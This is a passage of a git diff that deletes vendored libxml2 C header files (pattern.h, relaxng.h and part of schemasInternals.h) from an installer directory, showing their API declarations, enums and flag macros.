-XMLPUBFUN xmlChar * XMLCALL - xmlNamespaceParseQName (xmlParserCtxtPtr ctxt, - xmlChar **prefix); -/** - * Entities - */ -XMLPUBFUN xmlChar * XMLCALL - xmlDecodeEntities (xmlParserCtxtPtr ctxt, - int len, - int what, - xmlChar end, - xmlChar end2, - xmlChar end3); -XMLPUBFUN void XMLCALL - xmlHandleEntity (xmlParserCtxtPtr ctxt, - xmlEntityPtr entity); - -#endif /* LIBXML_LEGACY_ENABLED */ - -#ifdef IN_LIBXML -/* - * internal only - */ -XMLPUBFUN void XMLCALL - xmlErrMemory (xmlParserCtxtPtr ctxt, - const char *extra); -#endif - -#ifdef __cplusplus -} -#endif -#endif /* __XML_PARSER_INTERNALS_H__ */ diff --git a/installer/libxml2/include/libxml/pattern.h b/installer/libxml2/include/libxml/pattern.h deleted file mode 100644 index 97d2cd2..0000000 --- a/installer/libxml2/include/libxml/pattern.h +++ /dev/null @@ -1,100 +0,0 @@ -/* - * Summary: pattern expression handling - * Description: allows to compile and test pattern expressions for nodes - * either in a tree or based on a parser state. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_PATTERN_H__ -#define __XML_PATTERN_H__ - -#include -#include -#include - -#ifdef LIBXML_PATTERN_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlPattern: - * - * A compiled (XPath based) pattern to select nodes - */ -typedef struct _xmlPattern xmlPattern; -typedef xmlPattern *xmlPatternPtr; - -/** - * xmlPatternFlags: - * - * This is the set of options affecting the behaviour of pattern - * matching with this module - * - */ -typedef enum { - XML_PATTERN_DEFAULT = 0, /* simple pattern match */ - XML_PATTERN_XPATH = 1<<0, /* standard XPath pattern */ - XML_PATTERN_XSSEL = 1<<1, /* XPath subset for schema selector */ - XML_PATTERN_XSFIELD = 1<<2 /* XPath subset for schema field */ -} xmlPatternFlags; - -XMLPUBFUN void XMLCALL - xmlFreePattern (xmlPatternPtr comp); - -XMLPUBFUN void XMLCALL - xmlFreePatternList (xmlPatternPtr comp); - -XMLPUBFUN xmlPatternPtr XMLCALL - xmlPatterncompile (const xmlChar *pattern, - xmlDict *dict, - int flags, - const xmlChar **namespaces); -XMLPUBFUN int XMLCALL - xmlPatternMatch (xmlPatternPtr comp, - xmlNodePtr node); - -/* streaming interfaces */ -typedef struct _xmlStreamCtxt xmlStreamCtxt; -typedef xmlStreamCtxt *xmlStreamCtxtPtr; - -XMLPUBFUN int XMLCALL - xmlPatternStreamable (xmlPatternPtr comp); -XMLPUBFUN int XMLCALL - xmlPatternMaxDepth (xmlPatternPtr comp); -XMLPUBFUN int XMLCALL - xmlPatternMinDepth (xmlPatternPtr comp); -XMLPUBFUN int XMLCALL - xmlPatternFromRoot (xmlPatternPtr comp); -XMLPUBFUN xmlStreamCtxtPtr XMLCALL - xmlPatternGetStreamCtxt (xmlPatternPtr comp); -XMLPUBFUN void XMLCALL - xmlFreeStreamCtxt (xmlStreamCtxtPtr stream); -XMLPUBFUN int XMLCALL - xmlStreamPushNode (xmlStreamCtxtPtr stream, - const xmlChar *name, - const xmlChar *ns, - int nodeType); -XMLPUBFUN int XMLCALL - xmlStreamPush (xmlStreamCtxtPtr stream, - const xmlChar *name, - const xmlChar *ns); -XMLPUBFUN int XMLCALL - xmlStreamPushAttr (xmlStreamCtxtPtr stream, - const xmlChar *name, - const xmlChar *ns); -XMLPUBFUN int XMLCALL - xmlStreamPop (xmlStreamCtxtPtr stream); -XMLPUBFUN int XMLCALL - xmlStreamWantsAnyNode (xmlStreamCtxtPtr stream); -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_PATTERN_ENABLED */ - -#endif /* __XML_PATTERN_H__ */ diff --git a/installer/libxml2/include/libxml/relaxng.h b/installer/libxml2/include/libxml/relaxng.h deleted file mode 100644 index f269c9e..0000000 --- a/installer/libxml2/include/libxml/relaxng.h +++ /dev/null @@ -1,217 +0,0 @@ -/* - * Summary: implementation of the Relax-NG validation - * Description: implementation of the Relax-NG validation - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_RELAX_NG__ -#define __XML_RELAX_NG__ - -#include -#include -#include - -#ifdef LIBXML_SCHEMAS_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct _xmlRelaxNG xmlRelaxNG; -typedef xmlRelaxNG *xmlRelaxNGPtr; - - -/** - * xmlRelaxNGValidityErrorFunc: - * @ctx: the validation context - * @msg: the message - * @...: extra arguments - * - * Signature of an error callback from a Relax-NG validation - */ -typedef void (XMLCDECL *xmlRelaxNGValidityErrorFunc) (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); - -/** - * xmlRelaxNGValidityWarningFunc: - * @ctx: the validation context - * @msg: the message - * @...: extra arguments - * - * Signature of a warning callback from a Relax-NG validation - */ -typedef void (XMLCDECL *xmlRelaxNGValidityWarningFunc) (void *ctx, - const char *msg, - ...) LIBXML_ATTR_FORMAT(2,3); - -/** - * A schemas validation context - */ -typedef struct _xmlRelaxNGParserCtxt xmlRelaxNGParserCtxt; -typedef xmlRelaxNGParserCtxt *xmlRelaxNGParserCtxtPtr; - -typedef struct _xmlRelaxNGValidCtxt xmlRelaxNGValidCtxt; -typedef xmlRelaxNGValidCtxt *xmlRelaxNGValidCtxtPtr; - -/* - * xmlRelaxNGValidErr: - * - * List of possible Relax NG validation errors - */ -typedef enum { - XML_RELAXNG_OK = 0, - XML_RELAXNG_ERR_MEMORY, - XML_RELAXNG_ERR_TYPE, - XML_RELAXNG_ERR_TYPEVAL, - XML_RELAXNG_ERR_DUPID, - XML_RELAXNG_ERR_TYPECMP, - XML_RELAXNG_ERR_NOSTATE, - XML_RELAXNG_ERR_NODEFINE, - XML_RELAXNG_ERR_LISTEXTRA, - XML_RELAXNG_ERR_LISTEMPTY, - XML_RELAXNG_ERR_INTERNODATA, - XML_RELAXNG_ERR_INTERSEQ, - XML_RELAXNG_ERR_INTEREXTRA, - XML_RELAXNG_ERR_ELEMNAME, - XML_RELAXNG_ERR_ATTRNAME, - XML_RELAXNG_ERR_ELEMNONS, - XML_RELAXNG_ERR_ATTRNONS, - XML_RELAXNG_ERR_ELEMWRONGNS, - XML_RELAXNG_ERR_ATTRWRONGNS, - XML_RELAXNG_ERR_ELEMEXTRANS, - XML_RELAXNG_ERR_ATTREXTRANS, - XML_RELAXNG_ERR_ELEMNOTEMPTY, - XML_RELAXNG_ERR_NOELEM, - XML_RELAXNG_ERR_NOTELEM, - XML_RELAXNG_ERR_ATTRVALID, - XML_RELAXNG_ERR_CONTENTVALID, - XML_RELAXNG_ERR_EXTRACONTENT, - XML_RELAXNG_ERR_INVALIDATTR, - XML_RELAXNG_ERR_DATAELEM, - XML_RELAXNG_ERR_VALELEM, - XML_RELAXNG_ERR_LISTELEM, - XML_RELAXNG_ERR_DATATYPE, - XML_RELAXNG_ERR_VALUE, - XML_RELAXNG_ERR_LIST, - XML_RELAXNG_ERR_NOGRAMMAR, - XML_RELAXNG_ERR_EXTRADATA, - XML_RELAXNG_ERR_LACKDATA, - XML_RELAXNG_ERR_INTERNAL, - XML_RELAXNG_ERR_ELEMWRONG, - XML_RELAXNG_ERR_TEXTWRONG -} xmlRelaxNGValidErr; - -/* - * xmlRelaxNGParserFlags: - * - * List of possible Relax NG Parser flags - */ -typedef enum { - XML_RELAXNGP_NONE = 0, - XML_RELAXNGP_FREE_DOC = 1, - XML_RELAXNGP_CRNG = 2 -} xmlRelaxNGParserFlag; - -XMLPUBFUN int XMLCALL - xmlRelaxNGInitTypes (void); -XMLPUBFUN void XMLCALL - xmlRelaxNGCleanupTypes (void); - -/* - * Interfaces for parsing. - */ -XMLPUBFUN xmlRelaxNGParserCtxtPtr XMLCALL - xmlRelaxNGNewParserCtxt (const char *URL); -XMLPUBFUN xmlRelaxNGParserCtxtPtr XMLCALL - xmlRelaxNGNewMemParserCtxt (const char *buffer, - int size); -XMLPUBFUN xmlRelaxNGParserCtxtPtr XMLCALL - xmlRelaxNGNewDocParserCtxt (xmlDocPtr doc); - -XMLPUBFUN int XMLCALL - xmlRelaxParserSetFlag (xmlRelaxNGParserCtxtPtr ctxt, - int flag); - -XMLPUBFUN void XMLCALL - xmlRelaxNGFreeParserCtxt (xmlRelaxNGParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlRelaxNGSetParserErrors(xmlRelaxNGParserCtxtPtr ctxt, - xmlRelaxNGValidityErrorFunc err, - xmlRelaxNGValidityWarningFunc warn, - void *ctx); -XMLPUBFUN int XMLCALL - xmlRelaxNGGetParserErrors(xmlRelaxNGParserCtxtPtr ctxt, - xmlRelaxNGValidityErrorFunc *err, - xmlRelaxNGValidityWarningFunc *warn, - void **ctx); -XMLPUBFUN void XMLCALL - xmlRelaxNGSetParserStructuredErrors( - xmlRelaxNGParserCtxtPtr ctxt, - xmlStructuredErrorFunc serror, - void *ctx); -XMLPUBFUN xmlRelaxNGPtr XMLCALL - xmlRelaxNGParse (xmlRelaxNGParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - xmlRelaxNGFree (xmlRelaxNGPtr schema); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlRelaxNGDump (FILE *output, - xmlRelaxNGPtr schema); -XMLPUBFUN void XMLCALL - xmlRelaxNGDumpTree (FILE * output, - xmlRelaxNGPtr schema); -#endif /* LIBXML_OUTPUT_ENABLED */ -/* - * Interfaces for validating - */ -XMLPUBFUN void XMLCALL - xmlRelaxNGSetValidErrors(xmlRelaxNGValidCtxtPtr ctxt, - xmlRelaxNGValidityErrorFunc err, - xmlRelaxNGValidityWarningFunc warn, - void *ctx); -XMLPUBFUN int XMLCALL - xmlRelaxNGGetValidErrors(xmlRelaxNGValidCtxtPtr ctxt, - xmlRelaxNGValidityErrorFunc *err, - xmlRelaxNGValidityWarningFunc *warn, - void **ctx); -XMLPUBFUN void XMLCALL - xmlRelaxNGSetValidStructuredErrors(xmlRelaxNGValidCtxtPtr ctxt, - xmlStructuredErrorFunc serror, void *ctx); -XMLPUBFUN xmlRelaxNGValidCtxtPtr XMLCALL - xmlRelaxNGNewValidCtxt (xmlRelaxNGPtr schema); -XMLPUBFUN void XMLCALL - xmlRelaxNGFreeValidCtxt (xmlRelaxNGValidCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlRelaxNGValidateDoc (xmlRelaxNGValidCtxtPtr ctxt, - xmlDocPtr doc); -/* - * Interfaces for progressive validation when possible - */ -XMLPUBFUN int XMLCALL - xmlRelaxNGValidatePushElement (xmlRelaxNGValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem); -XMLPUBFUN int XMLCALL - xmlRelaxNGValidatePushCData (xmlRelaxNGValidCtxtPtr ctxt, - const xmlChar *data, - int len); -XMLPUBFUN int XMLCALL - xmlRelaxNGValidatePopElement (xmlRelaxNGValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem); -XMLPUBFUN int XMLCALL - xmlRelaxNGValidateFullElement (xmlRelaxNGValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_SCHEMAS_ENABLED */ - -#endif /* __XML_RELAX_NG__ */ diff --git a/installer/libxml2/include/libxml/schemasInternals.h b/installer/libxml2/include/libxml/schemasInternals.h deleted file mode 100644 index c7cf552..0000000 --- a/installer/libxml2/include/libxml/schemasInternals.h +++ /dev/null @@ -1,958 +0,0 @@ -/* - * Summary: internal interfaces for XML Schemas - * Description: internal interfaces for the XML Schemas handling - * and schema validity checking - * The Schemas development is a Work In Progress. - * Some of those interfaces are not garanteed to be API or ABI stable ! - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_SCHEMA_INTERNALS_H__ -#define __XML_SCHEMA_INTERNALS_H__ - -#include - -#ifdef LIBXML_SCHEMAS_ENABLED - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - XML_SCHEMAS_UNKNOWN = 0, - XML_SCHEMAS_STRING = 1, - XML_SCHEMAS_NORMSTRING = 2, - XML_SCHEMAS_DECIMAL = 3, - XML_SCHEMAS_TIME = 4, - XML_SCHEMAS_GDAY = 5, - XML_SCHEMAS_GMONTH = 6, - XML_SCHEMAS_GMONTHDAY = 7, - XML_SCHEMAS_GYEAR = 8, - XML_SCHEMAS_GYEARMONTH = 9, - XML_SCHEMAS_DATE = 10, - XML_SCHEMAS_DATETIME = 11, - XML_SCHEMAS_DURATION = 12, - XML_SCHEMAS_FLOAT = 13, - XML_SCHEMAS_DOUBLE = 14, - XML_SCHEMAS_BOOLEAN = 15, - XML_SCHEMAS_TOKEN = 16, - XML_SCHEMAS_LANGUAGE = 17, - XML_SCHEMAS_NMTOKEN = 18, - XML_SCHEMAS_NMTOKENS = 19, - XML_SCHEMAS_NAME = 20, - XML_SCHEMAS_QNAME = 21, - XML_SCHEMAS_NCNAME = 22, - XML_SCHEMAS_ID = 23, - XML_SCHEMAS_IDREF = 24, - XML_SCHEMAS_IDREFS = 25, - XML_SCHEMAS_ENTITY = 26, - XML_SCHEMAS_ENTITIES = 27, - XML_SCHEMAS_NOTATION = 28, - XML_SCHEMAS_ANYURI = 29, - XML_SCHEMAS_INTEGER = 30, - XML_SCHEMAS_NPINTEGER = 31, - XML_SCHEMAS_NINTEGER = 32, - XML_SCHEMAS_NNINTEGER = 33, - XML_SCHEMAS_PINTEGER = 34, - XML_SCHEMAS_INT = 35, - XML_SCHEMAS_UINT = 36, - XML_SCHEMAS_LONG = 37, - XML_SCHEMAS_ULONG = 38, - XML_SCHEMAS_SHORT = 39, - XML_SCHEMAS_USHORT = 40, - XML_SCHEMAS_BYTE = 41, - XML_SCHEMAS_UBYTE = 42, - XML_SCHEMAS_HEXBINARY = 43, - XML_SCHEMAS_BASE64BINARY = 44, - XML_SCHEMAS_ANYTYPE = 45, - XML_SCHEMAS_ANYSIMPLETYPE = 46 -} xmlSchemaValType; - -/* - * XML Schemas defines multiple type of types. - */ -typedef enum { - XML_SCHEMA_TYPE_BASIC = 1, /* A built-in datatype */ - XML_SCHEMA_TYPE_ANY, - XML_SCHEMA_TYPE_FACET, - XML_SCHEMA_TYPE_SIMPLE, - XML_SCHEMA_TYPE_COMPLEX, - XML_SCHEMA_TYPE_SEQUENCE = 6, - XML_SCHEMA_TYPE_CHOICE, - XML_SCHEMA_TYPE_ALL, - XML_SCHEMA_TYPE_SIMPLE_CONTENT, - XML_SCHEMA_TYPE_COMPLEX_CONTENT, - XML_SCHEMA_TYPE_UR, - XML_SCHEMA_TYPE_RESTRICTION, - XML_SCHEMA_TYPE_EXTENSION, - XML_SCHEMA_TYPE_ELEMENT, - XML_SCHEMA_TYPE_ATTRIBUTE, - XML_SCHEMA_TYPE_ATTRIBUTEGROUP, - XML_SCHEMA_TYPE_GROUP, - XML_SCHEMA_TYPE_NOTATION, - XML_SCHEMA_TYPE_LIST, - XML_SCHEMA_TYPE_UNION, - XML_SCHEMA_TYPE_ANY_ATTRIBUTE, - XML_SCHEMA_TYPE_IDC_UNIQUE, - XML_SCHEMA_TYPE_IDC_KEY, - XML_SCHEMA_TYPE_IDC_KEYREF, - XML_SCHEMA_TYPE_PARTICLE = 25, - XML_SCHEMA_TYPE_ATTRIBUTE_USE, - XML_SCHEMA_FACET_MININCLUSIVE = 1000, - XML_SCHEMA_FACET_MINEXCLUSIVE, - XML_SCHEMA_FACET_MAXINCLUSIVE, - XML_SCHEMA_FACET_MAXEXCLUSIVE, - XML_SCHEMA_FACET_TOTALDIGITS, - XML_SCHEMA_FACET_FRACTIONDIGITS, - XML_SCHEMA_FACET_PATTERN, - XML_SCHEMA_FACET_ENUMERATION, - XML_SCHEMA_FACET_WHITESPACE, - XML_SCHEMA_FACET_LENGTH, - XML_SCHEMA_FACET_MAXLENGTH, - XML_SCHEMA_FACET_MINLENGTH, - XML_SCHEMA_EXTRA_QNAMEREF = 2000, - XML_SCHEMA_EXTRA_ATTR_USE_PROHIB -} xmlSchemaTypeType; - -typedef enum { - XML_SCHEMA_CONTENT_UNKNOWN = 0, - XML_SCHEMA_CONTENT_EMPTY = 1, - XML_SCHEMA_CONTENT_ELEMENTS, - XML_SCHEMA_CONTENT_MIXED, - XML_SCHEMA_CONTENT_SIMPLE, - XML_SCHEMA_CONTENT_MIXED_OR_ELEMENTS, /* Obsolete */ - XML_SCHEMA_CONTENT_BASIC, - XML_SCHEMA_CONTENT_ANY -} xmlSchemaContentType; - -typedef struct _xmlSchemaVal xmlSchemaVal; -typedef xmlSchemaVal *xmlSchemaValPtr; - -typedef struct _xmlSchemaType xmlSchemaType; -typedef xmlSchemaType *xmlSchemaTypePtr; - -typedef struct _xmlSchemaFacet xmlSchemaFacet; -typedef xmlSchemaFacet *xmlSchemaFacetPtr; - -/** - * Annotation - */ -typedef struct _xmlSchemaAnnot xmlSchemaAnnot; -typedef xmlSchemaAnnot *xmlSchemaAnnotPtr; -struct _xmlSchemaAnnot { - struct _xmlSchemaAnnot *next; - xmlNodePtr content; /* the annotation */ -}; - -/** - * XML_SCHEMAS_ANYATTR_SKIP: - * - * Skip unknown attribute from validation - * Obsolete, not used anymore. - */ -#define XML_SCHEMAS_ANYATTR_SKIP 1 -/** - * XML_SCHEMAS_ANYATTR_LAX: - * - * Ignore validation non definition on attributes - * Obsolete, not used anymore. - */ -#define XML_SCHEMAS_ANYATTR_LAX 2 -/** - * XML_SCHEMAS_ANYATTR_STRICT: - * - * Apply strict validation rules on attributes - * Obsolete, not used anymore. - */ -#define XML_SCHEMAS_ANYATTR_STRICT 3 -/** - * XML_SCHEMAS_ANY_SKIP: - * - * Skip unknown attribute from validation - */ -#define XML_SCHEMAS_ANY_SKIP 1 -/** - * XML_SCHEMAS_ANY_LAX: - * - * Used by wildcards. - * Validate if type found, don't worry if not found - */ -#define XML_SCHEMAS_ANY_LAX 2 -/** - * XML_SCHEMAS_ANY_STRICT: - * - * Used by wildcards. - * Apply strict validation rules - */ -#define XML_SCHEMAS_ANY_STRICT 3 -/** - * XML_SCHEMAS_ATTR_USE_PROHIBITED: - * - * Used by wildcards. - * The attribute is prohibited. - */ -#define XML_SCHEMAS_ATTR_USE_PROHIBITED 0 -/** - * XML_SCHEMAS_ATTR_USE_REQUIRED: - * - * The attribute is required. - */ -#define XML_SCHEMAS_ATTR_USE_REQUIRED 1 -/** - * XML_SCHEMAS_ATTR_USE_OPTIONAL: - * - * The attribute is optional. - */ -#define XML_SCHEMAS_ATTR_USE_OPTIONAL 2 -/** - * XML_SCHEMAS_ATTR_GLOBAL: - * - * allow elements in no namespace - */ -#define XML_SCHEMAS_ATTR_GLOBAL 1 << 0 -/** - * XML_SCHEMAS_ATTR_NSDEFAULT: - * - * allow elements in no namespace - */ -#define XML_SCHEMAS_ATTR_NSDEFAULT 1 << 7 -/** - * XML_SCHEMAS_ATTR_INTERNAL_RESOLVED: - * - * this is set when the "type" and "ref" references - * have been resolved. - */ -#define XML_SCHEMAS_ATTR_INTERNAL_RESOLVED 1 << 8 -/** - * XML_SCHEMAS_ATTR_FIXED: - * - * the attribute has a fixed value - */ -#define XML_SCHEMAS_ATTR_FIXED 1 << 9 - -/** - * xmlSchemaAttribute: - * An attribute definition. - */ - -typedef struct _xmlSchemaAttribute xmlSchemaAttribute; -typedef xmlSchemaAttribute *xmlSchemaAttributePtr; -struct _xmlSchemaAttribute { - xmlSchemaTypeType type; - struct _xmlSchemaAttribute *next; /* the next attribute (not used?) */ - const xmlChar *name; /* the name of the declaration */ - const xmlChar *id; /* Deprecated; not used */ - const xmlChar *ref; /* Deprecated; not used */ - const xmlChar *refNs; /* Deprecated; not used */ - const xmlChar *typeName; /* the local name of the type definition */ - const xmlChar *typeNs; /* the ns URI of the type definition */ - xmlSchemaAnnotPtr annot; - - xmlSchemaTypePtr base; /* Deprecated; not used */ - int occurs; /* Deprecated; not used */ - const xmlChar *defValue; /* The initial value of the value constraint */ - xmlSchemaTypePtr subtypes; /* the type definition */ - xmlNodePtr node; - const xmlChar *targetNamespace; - int flags; - const xmlChar *refPrefix; /* Deprecated; not used */ - xmlSchemaValPtr defVal; /* The compiled value constraint */ - xmlSchemaAttributePtr refDecl; /* Deprecated; not used */ -}; - -/** - * xmlSchemaAttributeLink: - * Used to build a list of attribute uses on complexType definitions. - * WARNING: Deprecated; not used. - */ -typedef struct _xmlSchemaAttributeLink xmlSchemaAttributeLink; -typedef xmlSchemaAttributeLink *xmlSchemaAttributeLinkPtr; -struct _xmlSchemaAttributeLink { - struct _xmlSchemaAttributeLink *next;/* the next attribute link ... */ - struct _xmlSchemaAttribute *attr;/* the linked attribute */ -}; - -/** - * XML_SCHEMAS_WILDCARD_COMPLETE: - * - * If the wildcard is complete. - */ -#define XML_SCHEMAS_WILDCARD_COMPLETE 1 << 0 - -/** - * xmlSchemaCharValueLink: - * Used to build a list of namespaces on wildcards. - */ -typedef struct _xmlSchemaWildcardNs xmlSchemaWildcardNs; -typedef xmlSchemaWildcardNs *xmlSchemaWildcardNsPtr; -struct _xmlSchemaWildcardNs { - struct _xmlSchemaWildcardNs *next;/* the next constraint link ... */ - const xmlChar *value;/* the value */ -}; - -/** - * xmlSchemaWildcard. - * A wildcard. - */ -typedef struct _xmlSchemaWildcard xmlSchemaWildcard; -typedef xmlSchemaWildcard *xmlSchemaWildcardPtr; -struct _xmlSchemaWildcard { - xmlSchemaTypeType type; /* The kind of type */ - const xmlChar *id; /* Deprecated; not used */ - xmlSchemaAnnotPtr annot; - xmlNodePtr node; - int minOccurs; /* Deprecated; not used */ - int maxOccurs; /* Deprecated; not used */ - int processContents; - int any; /* Indicates if the ns constraint is of ##any */ - xmlSchemaWildcardNsPtr nsSet; /* The list of allowed namespaces */ - xmlSchemaWildcardNsPtr negNsSet; /* The negated namespace */ - int flags; -}; - -/** - * XML_SCHEMAS_ATTRGROUP_WILDCARD_BUILDED: - * - * The attribute wildcard has been already builded. - */ -#define XML_SCHEMAS_ATTRGROUP_WILDCARD_BUILDED 1 << 0 -/** - * XML_SCHEMAS_ATTRGROUP_GLOBAL: - * - * The attribute wildcard has been already builded. - */ -#define XML_SCHEMAS_ATTRGROUP_GLOBAL 1 << 1 -/** - * XML_SCHEMAS_ATTRGROUP_MARKED: - * - * Marks the attr group as marked; used for circular checks. - */ -#define XML_SCHEMAS_ATTRGROUP_MARKED 1 << 2 - -/** - * XML_SCHEMAS_ATTRGROUP_REDEFINED: - * - * The attr group was redefined. - */ -#define XML_SCHEMAS_ATTRGROUP_REDEFINED 1 << 3 -/** - * XML_SCHEMAS_ATTRGROUP_HAS_REFS: - * - * Whether this attr. group contains attr. group references. - */ -#define XML_SCHEMAS_ATTRGROUP_HAS_REFS 1 << 4 - -/** - * An attribute group definition. - * - * xmlSchemaAttribute and xmlSchemaAttributeGroup start of structures - * must be kept similar - */ -typedef struct _xmlSchemaAttributeGroup xmlSchemaAttributeGroup; -typedef xmlSchemaAttributeGroup *xmlSchemaAttributeGroupPtr; -struct _xmlSchemaAttributeGroup { - xmlSchemaTypeType type; /* The kind of type */ - struct _xmlSchemaAttribute *next;/* the next attribute if in a group ... */ - const xmlChar *name; - const xmlChar *id; - const xmlChar *ref; /* Deprecated; not used */ - const xmlChar *refNs; /* Deprecated; not used */ - xmlSchemaAnnotPtr annot; - - xmlSchemaAttributePtr attributes; /* Deprecated; not used */ - xmlNodePtr node; - int flags; - xmlSchemaWildcardPtr attributeWildcard; - const xmlChar *refPrefix; /* Deprecated; not used */ - xmlSchemaAttributeGroupPtr refItem; /* Deprecated; not used */ - const xmlChar *targetNamespace; - void *attrUses; -}; - -/** - * xmlSchemaTypeLink: - * Used to build a list of types (e.g. member types of - * simpleType with variety "union"). - */ -typedef struct _xmlSchemaTypeLink xmlSchemaTypeLink; -typedef xmlSchemaTypeLink *xmlSchemaTypeLinkPtr; -struct _xmlSchemaTypeLink { - struct _xmlSchemaTypeLink *next;/* the next type link ... */ - xmlSchemaTypePtr type;/* the linked type */ -}; - -/** - * xmlSchemaFacetLink: - * Used to build a list of facets. - */ -typedef struct _xmlSchemaFacetLink xmlSchemaFacetLink; -typedef xmlSchemaFacetLink *xmlSchemaFacetLinkPtr; -struct _xmlSchemaFacetLink { - struct _xmlSchemaFacetLink *next;/* the next facet link ... */ - xmlSchemaFacetPtr facet;/* the linked facet */ -}; - -/** - * XML_SCHEMAS_TYPE_MIXED: - * - * the element content type is mixed - */ -#define XML_SCHEMAS_TYPE_MIXED 1 << 0 -/** - * XML_SCHEMAS_TYPE_DERIVATION_METHOD_EXTENSION: - * - * the simple or complex type has a derivation method of "extension". - */ -#define XML_SCHEMAS_TYPE_DERIVATION_METHOD_EXTENSION 1 << 1 -/** - * XML_SCHEMAS_TYPE_DERIVATION_METHOD_RESTRICTION: - * - * the simple or complex type has a derivation method of "restriction". - */ -#define XML_SCHEMAS_TYPE_DERIVATION_METHOD_RESTRICTION 1 << 2 -/** - * XML_SCHEMAS_TYPE_GLOBAL: - * - * the type is global - */ -#define XML_SCHEMAS_TYPE_GLOBAL 1 << 3 -/** - * XML_SCHEMAS_TYPE_OWNED_ATTR_WILDCARD: - * - * the complexType owns an attribute wildcard, i.e. - * it can be freed by the complexType - */ -#define XML_SCHEMAS_TYPE_OWNED_ATTR_WILDCARD 1 << 4 /* Obsolete. */ -/** - * XML_SCHEMAS_TYPE_VARIETY_ABSENT: - * - * the simpleType has a variety of "absent". - * TODO: Actually not necessary :-/, since if - * none of the variety flags occur then it's - * automatically absent. - */ -#define XML_SCHEMAS_TYPE_VARIETY_ABSENT 1 << 5 -/** - * XML_SCHEMAS_TYPE_VARIETY_LIST: - * - * the simpleType has a variety of "list". - */ -#define XML_SCHEMAS_TYPE_VARIETY_LIST 1 << 6 -/** - * XML_SCHEMAS_TYPE_VARIETY_UNION: - * - * the simpleType has a variety of "union". - */ -#define XML_SCHEMAS_TYPE_VARIETY_UNION 1 << 7 -/** - * XML_SCHEMAS_TYPE_VARIETY_ATOMIC: - * - * the simpleType has a variety of "union". - */ -#define XML_SCHEMAS_TYPE_VARIETY_ATOMIC 1 << 8 -/** - * XML_SCHEMAS_TYPE_FINAL_EXTENSION: - * - * the complexType has a final of "extension". - */ -#define XML_SCHEMAS_TYPE_FINAL_EXTENSION 1 << 9 -/** - * XML_SCHEMAS_TYPE_FINAL_RESTRICTION: - * - * the simpleType/complexType has a final of "restriction". - */ -#define XML_SCHEMAS_TYPE_FINAL_RESTRICTION 1 << 10 -/** - * XML_SCHEMAS_TYPE_FINAL_LIST: - * - * the simpleType has a final of "list". - */ -#define XML_SCHEMAS_TYPE_FINAL_LIST 1 << 11 -/** - * XML_SCHEMAS_TYPE_FINAL_UNION: - * - * the simpleType has a final of "union". - */ -#define XML_SCHEMAS_TYPE_FINAL_UNION 1 << 12 -/** - * XML_SCHEMAS_TYPE_FINAL_DEFAULT: - * - * the simpleType has a final of "default". - */ -#define XML_SCHEMAS_TYPE_FINAL_DEFAULT 1 << 13 -/** - * XML_SCHEMAS_TYPE_BUILTIN_PRIMITIVE: - * - * Marks the item as a builtin primitive. - */ -#define XML_SCHEMAS_TYPE_BUILTIN_PRIMITIVE 1 << 14 -/** - * XML_SCHEMAS_TYPE_MARKED: - * - * Marks the item as marked; used for circular checks. - */ -#define XML_SCHEMAS_TYPE_MARKED 1 << 16 -/** - * XML_SCHEMAS_TYPE_BLOCK_DEFAULT: - * - * the complexType did not specify 'block' so use the default of the - * item. - */ -#define XML_SCHEMAS_TYPE_BLOCK_DEFAULT 1 << 17 -/** - * XML_SCHEMAS_TYPE_BLOCK_EXTENSION: - * - * the complexType has a 'block' of "extension". - */ -#define XML_SCHEMAS_TYPE_BLOCK_EXTENSION 1 << 18 -/** - * XML_SCHEMAS_TYPE_BLOCK_RESTRICTION: - * - * the complexType has a 'block' of "restriction". - */ -#define XML_SCHEMAS_TYPE_BLOCK_RESTRICTION 1 << 19 -/** - * XML_SCHEMAS_TYPE_ABSTRACT: - * - * the simple/complexType is abstract. - */ -#define XML_SCHEMAS_TYPE_ABSTRACT 1 << 20 -/** - * XML_SCHEMAS_TYPE_FACETSNEEDVALUE: - * - * indicates if the facets need a computed value - */ -#define XML_SCHEMAS_TYPE_FACETSNEEDVALUE 1 << 21 -/** - * XML_SCHEMAS_TYPE_INTERNAL_RESOLVED: - * - * indicates that the type was typefixed - */ -#define XML_SCHEMAS_TYPE_INTERNAL_RESOLVED 1 << 22 -/** - * XML_SCHEMAS_TYPE_INTERNAL_INVALID: - * - * indicates that the type is invalid - */ -#define XML_SCHEMAS_TYPE_INTERNAL_INVALID 1 << 23 -/** - * XML_SCHEMAS_TYPE_WHITESPACE_PRESERVE: - * - * a whitespace-facet value of "preserve" - */ -#define XML_SCHEMAS_TYPE_WHITESPACE_PRESERVE 1 << 24 -/** - * XML_SCHEMAS_TYPE_WHITESPACE_REPLACE: - * - * a whitespace-facet value of "replace" - */ -#define XML_SCHEMAS_TYPE_WHITESPACE_REPLACE 1 << 25 -/** - * XML_SCHEMAS_TYPE_WHITESPACE_COLLAPSE: - * - * a whitespace-facet value of "collapse" - */ -#define XML_SCHEMAS_TYPE_WHITESPACE_COLLAPSE 1 << 26 -/** - * XML_SCHEMAS_TYPE_HAS_FACETS: - * - * has facets - */ -#define XML_SCHEMAS_TYPE_HAS_FACETS 1 << 27 -/** - * XML_SCHEMAS_TYPE_NORMVALUENEEDED: - * - * indicates if the facets (pattern) need a normalized value - */ -#define XML_SCHEMAS_TYPE_NORMVALUENEEDED 1 << 28 - -/** - * XML_SCHEMAS_TYPE_FIXUP_1: - * - * First stage of fixup was done. - */ -#define 